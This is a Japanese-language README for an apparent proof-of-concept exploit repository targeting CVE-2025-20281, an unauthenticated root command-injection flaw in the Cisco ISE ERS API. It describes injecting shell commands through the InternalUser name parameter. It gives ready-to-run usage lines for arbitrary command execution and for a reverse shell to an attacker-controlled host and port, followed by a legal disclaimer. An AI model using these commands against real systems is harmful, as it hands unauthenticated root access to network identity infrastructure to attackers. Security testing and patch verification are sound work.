
Cisco ISE ERS APIにおけるCVE-2025-20281の認証不要のリモートコード実行エクスプロイト。コマンドの実行やルート権限でのリバースシェルの起動が可能 — 認証は不要。
このリポジトリには、CVE-2025-20281 の Python 3 概念実証エクスプロイトが含まれています。この脆弱性は Cisco Identity Services Engine (ISE) に存在し、ERS API を介して ルート権限による未認証リモートコード実行 (RCE) を可能にします。
Cisco ISE ERS の
/ers/sdk#_エンドポイントは、ユーザー作成リクエストを処理する際に認証を検証しません。
攻撃者はInternalUserオブジェクトのnameパラメータにシェルコマンドを注入することで、ルート権限でコマンド実行を達成できます。
--cmd)--whoami で簡単テスト--reverse)python3 CVE-2025-20281.py TARGET [--whoami | --cmd "id" | --reverse LHOST LPORT]
テストコマンド:
python3 CVE-2025-20281.py 192.168.1.10 --whoami
カスタムコマンドの実行:
python3 CVE-2025-20281.py 192.168.1.10 --cmd "id && hostname"
リバースシェル:
python3 CVE-2025-20281.py 192.168.1.10 --reverse 10.10.14.99 4444
⚠️ 法的免責事項
このコードは教育目的および許可されたテスト目的のみで提供されます。 このソフトウェアを、あなたが所有していない、またはテスト許可を得ていないネットワークやシステムに対して使用しないでください。
脆弱性: Cisco アドバイザリを通じて開示
PoC リファクタリング: illdeed